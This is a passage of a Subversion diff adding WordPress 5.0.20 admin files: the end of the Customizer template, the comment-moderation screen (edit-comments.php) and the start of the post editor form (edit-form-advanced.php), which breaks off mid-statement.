+					<div class="customize-panel-description"><?php
+						_e( 'The Customizer allows you to preview changes to your site before publishing them. You can navigate to different pages on your site within the preview. Edit shortcuts are shown for some editable elements.' );
+					?></div>
+				</div>
+
+				<div id="customize-theme-controls">
+					<ul class="customize-pane-parent"><?php // Panels and sections are managed here via JavaScript ?></ul>
+				</div>
+			</div>
+		</div>
+
+		<div id="customize-footer-actions" class="wp-full-overlay-footer">
+			<button type="button" class="collapse-sidebar button" aria-expanded="true" aria-label="<?php echo esc_attr( _x( 'Hide Controls', 'label for hide controls button without length constraints' ) ); ?>">
+				<span class="collapse-sidebar-arrow"></span>
+				<span class="collapse-sidebar-label"><?php _ex( 'Hide Controls', 'short (~12 characters) label for hide controls button' ); ?></span>
+			</button>
+			<?php $previewable_devices = $wp_customize->get_previewable_devices(); ?>
+			<?php if ( ! empty( $previewable_devices ) ) : ?>
+			<div class="devices-wrapper">
+				<div class="devices">
+					<?php foreach ( (array) $previewable_devices as $device => $settings ) : ?>
+						<?php
+						if ( empty( $settings['label'] ) ) {
+							continue;
+						}
+						$active = ! empty( $settings['default'] );
+						$class = 'preview-' . $device;
+						if ( $active ) {
+							$class .= ' active';
+						}
+						?>
+						<button type="button" class="<?php echo esc_attr( $class ); ?>" aria-pressed="<?php echo esc_attr( $active ) ?>" data-device="<?php echo esc_attr( $device ); ?>">
+							<span class="screen-reader-text"><?php echo esc_html( $settings['label'] ); ?></span>
+						</button>
+					<?php endforeach; ?>
+				</div>
+			</div>
+			<?php endif; ?>
+		</div>
+	</form>
+	<div id="customize-preview" class="wp-full-overlay-main"></div>
+	<?php
+
+	/**
+	 * Prints templates, control scripts, and settings in the footer.
+	 *
+	 * @since 3.4.0
+	 */
+	do_action( 'customize_controls_print_footer_scripts' );
+	?>
+</div>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-admin/edit-comments.php
===================================================================
--- /tags/5.0.20/src/wp-admin/edit-comments.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/edit-comments.php	(revision 56912)
@@ -0,0 +1,334 @@
+<?php
+/**
+ * Edit Comments Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+if ( ! current_user_can( 'edit_posts' ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to edit comments.' ) . '</p>',
+		403
+	);
+}
+
+$wp_list_table = _get_list_table('WP_Comments_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+$doaction = $wp_list_table->current_action();
+
+if ( $doaction ) {
+	check_admin_referer( 'bulk-comments' );
+
+	if ( 'delete_all' == $doaction && !empty( $_REQUEST['pagegen_timestamp'] ) ) {
+		$comment_status = wp_unslash( $_REQUEST['comment_status'] );
+		$delete_time = wp_unslash( $_REQUEST['pagegen_timestamp'] );
+		$comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_approved = %s AND %s > comment_date_gmt", $comment_status, $delete_time ) );
+		$doaction = 'delete';
+	} elseif ( isset( $_REQUEST['delete_comments'] ) ) {
+		$comment_ids = $_REQUEST['delete_comments'];
+		$doaction = ( $_REQUEST['action'] != -1 ) ? $_REQUEST['action'] : $_REQUEST['action2'];
+	} elseif ( isset( $_REQUEST['ids'] ) ) {
+		$comment_ids = array_map( 'absint', explode( ',', $_REQUEST['ids'] ) );
+	} elseif ( wp_get_referer() ) {
+		wp_safe_redirect( wp_get_referer() );
+		exit;
+	}
+
+	$approved = $unapproved = $spammed = $unspammed = $trashed = $untrashed = $deleted = 0;
+
+	$redirect_to = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'spammed', 'unspammed', 'approved', 'unapproved', 'ids' ), wp_get_referer() );
+	$redirect_to = add_query_arg( 'paged', $pagenum, $redirect_to );
+
+	wp_defer_comment_counting( true );
+
+	foreach ( $comment_ids as $comment_id ) { // Check the permissions on each
+		if ( !current_user_can( 'edit_comment', $comment_id ) )
+			continue;
+
+		switch ( $doaction ) {
+			case 'approve' :
+				wp_set_comment_status( $comment_id, 'approve' );
+				$approved++;
+				break;
+			case 'unapprove' :
+				wp_set_comment_status( $comment_id, 'hold' );
+				$unapproved++;
+				break;
+			case 'spam' :
+				wp_spam_comment( $comment_id );
+				$spammed++;
+				break;
+			case 'unspam' :
+				wp_unspam_comment( $comment_id );
+				$unspammed++;
+				break;
+			case 'trash' :
+				wp_trash_comment( $comment_id );
+				$trashed++;
+				break;
+			case 'untrash' :
+				wp_untrash_comment( $comment_id );
+				$untrashed++;
+				break;
+			case 'delete' :
+				wp_delete_comment( $comment_id );
+				$deleted++;
+				break;
+		}
+	}
+
+	if ( ! in_array( $doaction, array( 'approve', 'unapprove', 'spam', 'unspam', 'trash', 'delete' ), true ) ) {
+		$screen = get_current_screen()->id;
+
+		/**
+		 * Fires when a custom bulk action should be handled.
+		 *
+		 * The redirect link should be modified with success or failure feedback
+		 * from the action to be used to display feedback to the user.
+		 *
+		 * The dynamic portion of the hook name, `$screen`, refers to the current screen ID.
+		 *
+		 * @since 4.7.0
+		 *
+		 * @param string $redirect_url The redirect URL.
+		 * @param string $doaction     The action being taken.
+		 * @param array  $items        The items to take the action on.
+		 */
+		$redirect_to = apply_filters( "handle_bulk_actions-{$screen}", $redirect_to, $doaction, $comment_ids );
+	}
+
+	wp_defer_comment_counting( false );
+
+	if ( $approved )
+		$redirect_to = add_query_arg( 'approved', $approved, $redirect_to );
+	if ( $unapproved )
+		$redirect_to = add_query_arg( 'unapproved', $unapproved, $redirect_to );
+	if ( $spammed )
+		$redirect_to = add_query_arg( 'spammed', $spammed, $redirect_to );
+	if ( $unspammed )
+		$redirect_to = add_query_arg( 'unspammed', $unspammed, $redirect_to );
+	if ( $trashed )
+		$redirect_to = add_query_arg( 'trashed', $trashed, $redirect_to );
+	if ( $untrashed )
+		$redirect_to = add_query_arg( 'untrashed', $untrashed, $redirect_to );
+	if ( $deleted )
+		$redirect_to = add_query_arg( 'deleted', $deleted, $redirect_to );
+	if ( $trashed || $spammed )
+		$redirect_to = add_query_arg( 'ids', join( ',', $comment_ids ), $redirect_to );
+
+	wp_safe_redirect( $redirect_to );
+	exit;
+} elseif ( ! empty( $_GET['_wp_http_referer'] ) ) {
+	 wp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
+	 exit;
+}
+
+$wp_list_table->prepare_items();
+
+wp_enqueue_script('admin-comments');
+enqueue_comment_hotkeys_js();
+
+if ( $post_id ) {
+	$comments_count = wp_count_comments( $post_id );
+	$draft_or_post_title = wp_html_excerpt( _draft_or_post_title( $post_id ), 50, '&hellip;' );
+	if ( $comments_count->moderated > 0 ) {
+		/* translators: 1: comments count 2: post title */
+		$title = sprintf( __( 'Comments (%1$s) on &#8220;%2$s&#8221;' ),
+			number_format_i18n( $comments_count->moderated ),
+			$draft_or_post_title
+		);
+	} else {
+		/* translators: %s: post title */
+		$title = sprintf( __( 'Comments on &#8220;%s&#8221;' ),
+			$draft_or_post_title
+		);
+	}
+} else {
+	$comments_count = wp_count_comments();
+	if ( $comments_count->moderated > 0 ) {
+		/* translators: %s: comments count */
+		$title = sprintf( __( 'Comments (%s)' ),
+			number_format_i18n( $comments_count->moderated )
+		);
+	} else {
+		$title = __( 'Comments' );
+	}
+}
+
+add_screen_option( 'per_page' );
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __( 'You can manage comments made on your site similar to the way you manage posts and other content. This screen is customizable in the same ways as other management screens, and you can act on comments using the on-hover action links or the Bulk Actions.' ) . '</p>'
+) );
+get_current_screen()->add_help_tab( array(
+'id'		=> 'moderating-comments',
+'title'		=> __('Moderating Comments'),
+'content'	=>
+		'<p>' . __( 'A red bar on the left means the comment is waiting for you to moderate it.' ) . '</p>' .
+		'<p>' . __( 'In the <strong>Author</strong> column, in addition to the author&#8217;s name, email address, and blog URL, the commenter&#8217;s IP address is shown. Clicking on this link will show you all the comments made from this IP address.' ) . '</p>' .
+		'<p>' . __( 'In the <strong>Comment</strong> column, hovering over any comment gives you options to approve, reply (and approve), quick edit, edit, spam mark, or trash that comment.' ) . '</p>' .
+		'<p>' . __( 'In the <strong>In Response To</strong> column, there are three elements. The text is the name of the post that inspired the comment, and links to the post editor for that entry. The View Post link leads to that post on your live site. The small bubble with the number in it shows the number of approved comments that post has received. If there are pending comments, a red notification circle with the number of pending comments is displayed. Clicking the notification circle will filter the comments screen to show only pending comments on that post.' ) . '</p>' .
+		'<p>' . __( 'In the <strong>Submitted On</strong> column, the date and time the comment was left on your site appears. Clicking on the date/time link will take you to that comment on your live site.' ) . '</p>' .
+		'<p>' . __( 'Many people take advantage of keyboard shortcuts to moderate their comments more quickly. Use the link to the side to learn more.' ) . '</p>'
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Administration_Screens#Comments">Documentation on Comments</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Comment_Spam">Documentation on Comment Spam</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://codex.wordpress.org/Keyboard_Shortcuts">Documentation on Keyboard Shortcuts</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/">Support Forums</a>' ) . '</p>'
+);
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_views'      => __( 'Filter comments list' ),
+	'heading_pagination' => __( 'Comments list navigation' ),
+	'heading_list'       => __( 'Comments list' ),
+) );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php
+if ( $post_id ) {
+	/* translators: %s: link to post */
+	printf( __( 'Comments on &#8220;%s&#8221;' ),
+		sprintf( '<a href="%1$s">%2$s</a>',
+			get_edit_post_link( $post_id ),
+			wp_html_excerpt( _draft_or_post_title( $post_id ), 50, '&hellip;' )
+		)
+	);
+} else {
+	_e( 'Comments' );
+}
+?></h1>
+
+<?php
+if ( isset($_REQUEST['s']) && strlen( $_REQUEST['s'] ) ) {
+	echo '<span class="subtitle">';
+	/* translators: %s: search keywords */
+	printf( __( 'Search results for &#8220;%s&#8221;' ),
+		wp_html_excerpt( esc_html( wp_unslash( $_REQUEST['s'] ) ), 50, '&hellip;' )
+	);
+	echo '</span>';
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php
+if ( isset( $_REQUEST['error'] ) ) {
+	$error = (int) $_REQUEST['error'];
+	$error_msg = '';
+	switch ( $error ) {
+		case 1 :
+			$error_msg = __( 'Invalid comment ID.' );
+			break;
+		case 2 :
+			$error_msg = __( 'Sorry, you are not allowed to edit comments on this post.' );
+			break;
+	}
+	if ( $error_msg )
+		echo '<div id="moderated" class="error"><p>' . $error_msg . '</p></div>';
+}
+
+if ( isset($_REQUEST['approved']) || isset($_REQUEST['deleted']) || isset($_REQUEST['trashed']) || isset($_REQUEST['untrashed']) || isset($_REQUEST['spammed']) || isset($_REQUEST['unspammed']) || isset($_REQUEST['same']) ) {
+	$approved  = isset( $_REQUEST['approved']  ) ? (int) $_REQUEST['approved']  : 0;
+	$deleted   = isset( $_REQUEST['deleted']   ) ? (int) $_REQUEST['deleted']   : 0;
+	$trashed   = isset( $_REQUEST['trashed']   ) ? (int) $_REQUEST['trashed']   : 0;
+	$untrashed = isset( $_REQUEST['untrashed'] ) ? (int) $_REQUEST['untrashed'] : 0;
+	$spammed   = isset( $_REQUEST['spammed']   ) ? (int) $_REQUEST['spammed']   : 0;
+	$unspammed = isset( $_REQUEST['unspammed'] ) ? (int) $_REQUEST['unspammed'] : 0;
+	$same      = isset( $_REQUEST['same'] )      ? (int) $_REQUEST['same']      : 0;
+
+	if ( $approved > 0 || $deleted > 0 || $trashed > 0 || $untrashed > 0 || $spammed > 0 || $unspammed > 0 || $same > 0 ) {
+		if ( $approved > 0 ) {
+			/* translators: %s: number of comments approved */
+			$messages[] = sprintf( _n( '%s comment approved', '%s comments approved', $approved ), $approved );
+		}
+
+		if ( $spammed > 0 ) {
+			$ids = isset($_REQUEST['ids']) ? $_REQUEST['ids'] : 0;
+			/* translators: %s: number of comments marked as spam */
+			$messages[] = sprintf( _n( '%s comment marked as spam.', '%s comments marked as spam.', $spammed ), $spammed ) . ' <a href="' . esc_url( wp_nonce_url( "edit-comments.php?doaction=undo&action=unspam&ids=$ids", "bulk-comments" ) ) . '">' . __('Undo') . '</a><br />';
+		}
+
+		if ( $unspammed > 0 ) {
+			/* translators: %s: number of comments restored from the spam */
+			$messages[] = sprintf( _n( '%s comment restored from the spam', '%s comments restored from the spam', $unspammed ), $unspammed );
+		}
+
+		if ( $trashed > 0 ) {
+			$ids = isset($_REQUEST['ids']) ? $_REQUEST['ids'] : 0;
+			/* translators: %s: number of comments moved to the Trash */
+			$messages[] = sprintf( _n( '%s comment moved to the Trash.', '%s comments moved to the Trash.', $trashed ), $trashed ) . ' <a href="' . esc_url( wp_nonce_url( "edit-comments.php?doaction=undo&action=untrash&ids=$ids", "bulk-comments" ) ) . '">' . __('Undo') . '</a><br />';
+		}
+
+		if ( $untrashed > 0 ) {
+			/* translators: %s: number of comments restored from the Trash */
+			$messages[] = sprintf( _n( '%s comment restored from the Trash', '%s comments restored from the Trash', $untrashed ), $untrashed );
+		}
+
+		if ( $deleted > 0 ) {
+			/* translators: %s: number of comments permanently deleted */
+			$messages[] = sprintf( _n( '%s comment permanently deleted', '%s comments permanently deleted', $deleted ), $deleted );
+		}
+
+		if ( $same > 0 && $comment = get_comment( $same ) ) {
+			switch ( $comment->comment_approved ) {
+				case '1' :
+					$messages[] = __('This comment is already approved.') . ' <a href="' . esc_url( admin_url( "comment.php?action=editcomment&c=$same" ) ) . '">' . __( 'Edit comment' ) . '</a>';
+					break;
+				case 'trash' :
+					$messages[] = __( 'This comment is already in the Trash.' ) . ' <a href="' . esc_url( admin_url( 'edit-comments.php?comment_status=trash' ) ) . '"> ' . __( 'View Trash' ) . '</a>';
+					break;
+				case 'spam' :
+					$messages[] = __( 'This comment is already marked as spam.' ) . ' <a href="' . esc_url( admin_url( "comment.php?action=editcomment&c=$same" ) ) . '">' . __( 'Edit comment' ) . '</a>';
+					break;
+			}
+		}
+
+		echo '<div id="moderated" class="updated notice is-dismissible"><p>' . implode( "<br/>\n", $messages ) . '</p></div>';
+	}
+}
+?>
+
+<?php $wp_list_table->views(); ?>
+
+<form id="comments-form" method="get">
+
+<?php $wp_list_table->search_box( __( 'Search Comments' ), 'comment' ); ?>
+
+<?php if ( $post_id ) : ?>
+<input type="hidden" name="p" value="<?php echo esc_attr( intval( $post_id ) ); ?>" />
+<?php endif; ?>
+<input type="hidden" name="comment_status" value="<?php echo esc_attr($comment_status); ?>" />
+<input type="hidden" name="pagegen_timestamp" value="<?php echo esc_attr(current_time('mysql', 1)); ?>" />
+
+<input type="hidden" name="_total" value="<?php echo esc_attr( $wp_list_table->get_pagination_arg('total_items') ); ?>" />
+<input type="hidden" name="_per_page" value="<?php echo esc_attr( $wp_list_table->get_pagination_arg('per_page') ); ?>" />
+<input type="hidden" name="_page" value="<?php echo esc_attr( $wp_list_table->get_pagination_arg('page') ); ?>" />
+
+<?php if ( isset($_REQUEST['paged']) ) { ?>
+	<input type="hidden" name="paged" value="<?php echo esc_attr( absint( $_REQUEST['paged'] ) ); ?>" />
+<?php } ?>
+
+<?php $wp_list_table->display(); ?>
+</form>
+</div>
+
+<div id="ajax-response"></div>
+
+<?php
+wp_comment_reply('-1', true, 'detail');
+wp_comment_trashnotice();
+include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/5.0.20/src/wp-admin/edit-form-advanced.php
===================================================================
--- /tags/5.0.20/src/wp-admin/edit-form-advanced.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/edit-form-advanced.php	(revision 56912)
@@ -0,0 +1,634 @@
+<?php
+/**
+ * Post advanced form for inclusion in the administration panels.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+// don't load directly
+if ( !defined('ABSPATH') )
+	die('-1');
+
+/**
+ * @global string       $post_type
+ * @global WP_Post_Type $post_type_object
+ * @global WP_Post      $post
+ */
+global $post_type, $post_type_object, $post;
+
+if ( is_multisite() ) {
+	add_action( 'admin_footer', '_admin_notice_post_locked' );
+} else {
+	$check_users = get_users( array( 'fields' => 'ID', 'number' => 2 ) );
+
+	if ( count( $check_users ) > 1 )
+		add_action( 'admin_footer', '_admin_notice_post_locked' );
+
+	unset( $check_users );
+}
+
+wp_enqueue_script('post');
+$_wp_editor_expand = $_content_editor_dfw = false;
+
+/**
+ * Filters whether to enable the 'expand' functionality in the post editor.
+ *
+ * @since 4.0.0
+ * @since 4.1.0 Added the `$post_type` parameter.
+ *
+ * @param bool   $expand    Whether to enable the 'expand' functionality. Default true.
+ * @param string $post_type Post type.
+ */
+if ( post_type_supports( $post_type, 'editor' ) && ! wp_is_mobile() &&
+	 ! ( $is_IE && preg_match( '/MSIE [5678]/', $_SERVER['HTTP_USER_AGENT'] ) ) &&
+	 apply_filters( 'wp_editor_expand', true, $post_type ) ) {
+
+	wp_enqueue_script('editor-expand');
+	$_content_editor_dfw = true;
+	$_wp_editor_expand = ( get_user_setting( 'editor_expand', 'on' ) === 'on' );
+}
+
+if ( wp_is_mobile() )
+	wp_enqueue_script( 'jquery-touch-punch' );
+
+/**
+ * Post ID global
+ * @name $post_ID
+ * @var int
+ */
+$post_ID = isset($post_ID) ? (int) $post_ID : 0;
+$user_ID = isset($user_ID) ? (int) $user_ID : 0;
+$action = isset($action) ? $action : '';
+
+if ( $post_ID == get_option( 'page_for_posts' ) && empty( $post->post_content ) ) {
+	add_action( 'edit_form_after_title', '_wp_posts_page_notice' );
+	remove_post_type_support( $post_type, 'editor' );
+}
+
+$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );
+if ( ! $thumbnail_support && 'attachment' === $post_type && $post->post_mime_type ) {
+	if ( wp_attachment_is( 'audio', $post ) ) {
+		$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
+	} elseif ( wp_attachment_is( 'video', $post ) ) {
+		$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
+	}
+}
+
+if ( $thumbnail_support ) {
+	add_thickbox();
+	wp_enqueue_media( array( 'post' => $post_ID ) );
+}
+
+// Add the local autosave notice HTML
+add_action( 'admin_footer', '_local_storage_notice' );
+
+/*
+ * @todo Document the $messages array(s).
+ */
+$permalink = get_permalink( $post_ID );
+if ( ! $permalink ) {
+	$permalink = '';
+}
+
+$messages = array();
+
+$preview_post_link_html = $scheduled_post_link_html = $view_post_link_html = '';
+$preview_page_link_html = $scheduled_page_link_html = $view_page_link_html = '';
+
+$preview_url = get_preview_post_link( $post );
+
+$viewable = is_post_type_viewable( $post_type_object );
+
+if ( $viewable ) {
+
+	// Preview post link.
+	$preview_post_link_html = sprintf( ' <a target="_blank" href="%1$s">%2$s</a>',
+		esc_url( $preview_url ),
+		__( 'Preview post' )
+	);
+
+	// Scheduled post preview link.
+	$scheduled_post_link_html = sprintf( ' <a target="_blank" href="%1$s">%2$s</a>',
+		esc_url( $permalink ),
+		__( 'Preview post' )
+	);
+
+	// View post link.
+	$view_post_link_html = sprintf( ' <a href="%1$s">%2$s</a>',
+		esc_url( $permalink ),
+		__( 'View post' )
+	);
+
+	// Preview page link.
+	$preview_page_link_html = sprintf( ' <a target="_blank" href="%1$s">%2$s</a>',
+		esc_url( $preview_url ),
+		__( 'Preview page' )
+	);
+
+	// Scheduled page preview link.
+	$scheduled_page_link_html = sprintf( ' <a target="_blank" href="%1$s">%2$s</a>',
+		esc_url( $permalink ),
+		__( 'Preview page' )
+	);
+
+	// View page link.
+	$view_page_link_html = sprintf( ' <a href="%1$s">%2$s</a>',
+		esc_url( $permalink ),
+		__( 'View page' )
+	);
+
+}
+
+/* translators: Publish box date format, see https://secure.php.net/date */
+$scheduled_date = date_i18n( __( 'M j, Y @ H:i' ), strtotime( $post->post_date ) );
+
+$messages['post'] = array(
+	 0 => '', // Unused. Messages start at index 1.
+	 1 => __( 'Post updated.' ) . $view_post_link_html,
+	 2 => __( 'Custom field updated.' ),
+	 3 => __( 'Custom field deleted.' ),
+	 4 => __( 'Post updated.' ),
+	/* translators: %s: date and time of the revision */
+	 5 => isset($_GET['revision']) ? sprintf( __( 'Post restored to revision from %s.' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,
+	 6 => __( 'Post published.' ) . $view_post_link_html,
+	 7 => __( 'Post saved.' ),
+	 8 => __( 'Post submitted.' ) . $preview_post_link_html,
+	 9 => sprintf( __( 'Post scheduled for: %s.' ), '<strong>' . $scheduled_date . '</strong>' ) . $scheduled_post_link_html,
+	10 => __( 'Post draft updated.' ) . $preview_post_link_html,
+);
+$messages['page'] = array(
+	 0 => '', // Unused. Messages start at index 1.
+	 1 => __( 'Page updated.' ) . $view_page_link_html,
+	 2 => __( 'Custom field updated.' ),
+	 3 => __( 'Custom field deleted.' ),
+	 4 => __( 'Page updated.' ),
+	/* translators: %s: date and time of the revision */
+	 5 => isset($_GET['revision']) ? sprintf( __( 'Page restored to revision from %s.' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,
+	 6 => __( 'Page published.' ) . $view_page_link_html,
+	 7 => __( 'Page saved.' ),
+	 8 => __( 'Page submitted.' ) . $preview_page_link_html,
+	 9 => sprintf( __( 'Page scheduled for: %s.' ), '<strong>' . $scheduled_date . '</strong>' ) . $scheduled_page_link_html,
+	10 => __( 'Page draft updated.' ) . $preview_page_link_html,
+);
+$messages['attachment'] = array_fill( 1, 10, __( 'Media file updated.' ) ); // Hack, for now.
+
+/**
+ * Filters the post updated messages.
+ *
+ * @since 3.0.0
+ *
+ * @param array $messages Post updated messages. For defaults @see $messages declarations above.
+ */
+$messages = apply_filters( 'post_updated_messages', $messages );
+
+$message = false;
+if ( isset($_GET['message']) ) {
+	$_GET['message'] = absint( $_GET['message'] );
+	if ( isset($messages[$post_type][$_GET['message']]) )
+		$message = $messages[$post_type][$_GET['message']];
+	elseif ( !isset($messages[$post_type]) && isset($messages['post'][$_GET['message']]) )
+		$message = $messages['post'][$_GET['message']];
+}
+
+$notice = false;
+$form_extra = '';
+if ( 'auto-draft' == $post->post_status ) {
+	if ( 'edit' == $action )
+		$post->post_title = '';
+	$autosave = false;
+	$form_extra .= "<input type='hidden' id='auto_draft' name='auto_draft' value='1' />";
+} else {
+	$autosave = wp_get_post_autosave( $post_ID );
+}
+
+$form_action = 'editpost';
+$nonce_action = 'update-post_' . $post_ID;
+$form_extra .= "<input type='hidden' id='post_ID' name='post_ID' value='" . esc_attr($post_ID) . "' />";
+
+// Detect if there exists an autosave newer than the post and if that autosave is different than the post
+if ( $autosave && mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) {
+	foreach ( _wp_post_revision_fields( $post ) as $autosave_field => $_autosave_field ) {
+		if ( normalize_whitespace( $autosave->$autosave_field ) != normalize_whitespace( $post->$autosave_field ) ) {
+			$notice = sprintf( __( 'There is an autosave of this post that is more recent than the version below. <a href="%s">View the autosave</a>' ), get_edit_post_link( $autosave->ID ) );
+			break;
+		}
+	}
+	// If this autosave isn't different from the current post, begone.
+	if ( ! $notice )
+		wp_delete_post_revision( $autosave->ID );
+	unset($autosave_field, $_autosave_field);
+}
+
+$post_type_object = get_post_type_object($post_type);
+
+// All meta boxes should be defined and added before the first do_meta_boxes() call (or potentially during the do_meta_boxes action).
+require_once( ABSPATH . 'wp-admin/includes/meta-boxes.php' );
+
+register_and_do_post_meta_boxes( $post );
+
+add_screen_option('layout_columns', array('max' => 2, 'default' => 2) );
+
+if ( 'post' == $post_type ) {
+	$customize_display = '<p>' . __('The title field and the big Post Editing Area are fixed in place, but you can reposition all the other boxes using drag and drop. You can also minimize or expand them by clicking the title bar of each box. Use the Screen Options tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, Discussion, Slug, Author) or to choose a 1- or 2-column layout for this screen.') . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'customize-display',
+		'title'   => __('Customizing This Display'),
+		'content' => $customize_display,
+	) );
+
+	$title_and_editor  = '<p>' . __('<strong>Title</strong> &mdash; Enter a title for your post. After you enter a title, you&#8217;ll see the permalink below, which you can edit.') . '</p>';
+	$title_and_editor .= '<p>' . __( '<strong>Post editor</strong> &mdash; Enter the text for your post. There are two modes of editing: Visual and Text. Choose the mode by clicking on the appropriate tab.' ) . '</p>';
+	$title_and_editor .= '<p>' . __( 'Visual mode gives you an editor that is similar to a word processor. Click the Toolbar Toggle button to get a second row of controls.' ) . '</p>';
+	$title_and_editor .= '<p>' . __( 'The Text mode allows you to enter HTML along with your post text. Note that &lt;p&gt; and &lt;br&gt; tags are converted to line breaks when switching to the Text editor to make it less cluttered. When you type, a single line break can be used instead of typing &lt;br&gt;, and two line breaks instead of paragraph tags. The line breaks are converted back to tags automatically.' ) . '</p>';
+	$title_and_editor .= '<p>' . __( 'You can insert media files by clicking the icons above the post editor and following the directions. You can align or edit images using the inline formatting toolbar available in Visual mode.' ) . '</p>';
+	$title_and_editor .= '<p>' . __( 'You can enable distraction-free writing mode using the icon to the right. This feature is not available for old browsers or devices with small screens, and requires that the full-height editor be enabled in Screen Options.' ) . '</p>';
+	$title_and_editor .= '<p>' . __( 'Keyboard users: When you&#8217;re working in the visual editor, you can use <kbd>Alt + F10</kbd> to access the toolbar.' ) . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'title-post-editor',
+		'title'   => __('Title and Post Editor'),
+		'content' => $title_and_editor,
+	) );
+
+	get_current_screen()->set_help_sidebar(
+			'<p>' . sprintf(__('You can also create posts with the <a href="%s">Press This bookmarklet</a>.'), 'tools.php') . '</p>' .
+			'<p><strong>' . __('For more information:') . '</strong></p>' .
+			'<p>' . __('<a href="https://codex.wordpress.org/Posts_Add_New_Screen">Documentation on Writing and Editing Posts</a>') . '</p>' .
+			'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+	);
+} elseif ( 'page' == $post_type ) {
+	$about_pages = '<p>' . __('Pages are similar to posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest pages under other pages by making one the &#8220;Parent&#8221; of the other, creating a group of pages.') . '</p>' .
+		'<p>' . __('Creating a Page is very similar to creating a Post, and the screens can be customized in the same way using drag and drop, the Screen Options tab, and expanding/collapsing boxes as you choose. This screen also has the distraction-free writing space, available in both the Visual and Text modes via the Fullscreen buttons. The Page editor mostly works the same as the Post editor, but there are some Page-specific features in the Page Attributes box.') . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'about-pages',
+		'title'   => __('About Pages'),
+		'content' => $about_pages,
+	) );
+
+	get_current_screen()->set_help_sidebar(
+			'<p><strong>' . __('For more information:') . '</strong></p>' .
+			'<p>' . __('<a href="https://codex.wordpress.org/Pages_Add_New_Screen">Documentation on Adding New Pages</a>') . '</p>' .
+			'<p>' . __('<a href="https://codex.wordpress.org/Pages_Screen#Editing_Individual_Pages">Documentation on Editing Pages</a>') . '</p>' .
+			'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+	);
+} elseif ( 'attachment' == $post_type ) {
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __('Overview'),
+		'content' =>
+			'<p>' . __('This screen allows you to edit four fields for metadata in a file within the media library.') . '</p>' .
+			'<p>' . __('For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information.') . '</p>' .
+			'<p>' . __('Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping.') . '</p>' .
+			'<p>' . __('Remember to click Update Media to save metadata entered or changed.') . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Media_Add_New_Screen#Edit_Media">Documentation on Edit Media</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+	);
+}
+
+if ( 'post' == $post_type || 'page' == $post_type ) {
+	$inserting_media = '<p>' . __( 'You can upload and insert media (images, audio, documents, etc.) by clicking the Add Media button. You can select from the images and files already uploaded to the Media Library, or upload new media to add to your page or post. To create an image gallery, select the images to add and click the &#8220;Create a new gallery&#8221; button.' ) . '</p>';
+	$inserting_media .= '<p>' . __( 'You can also embed media from many popular websites including Twitter, YouTube, Flickr and others by pasting the media URL on its own line into the content of your post/page. Please refer to the Codex to <a href="https://codex.wordpress.org/Embeds">learn more about embeds</a>.' ) . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'		=> 'inserting-media',
+		'title'		=> __( 'Inserting Media' ),
+		'content' 	=> $inserting_media,
+	) );
+}
+
+if ( 'post' == $post_type ) {
+	$publish_box = '<p>' . __('Several boxes on this screen contain settings for how your content will be published, including:') . '</p>';
+	$publish_box .= '<ul><li>' .
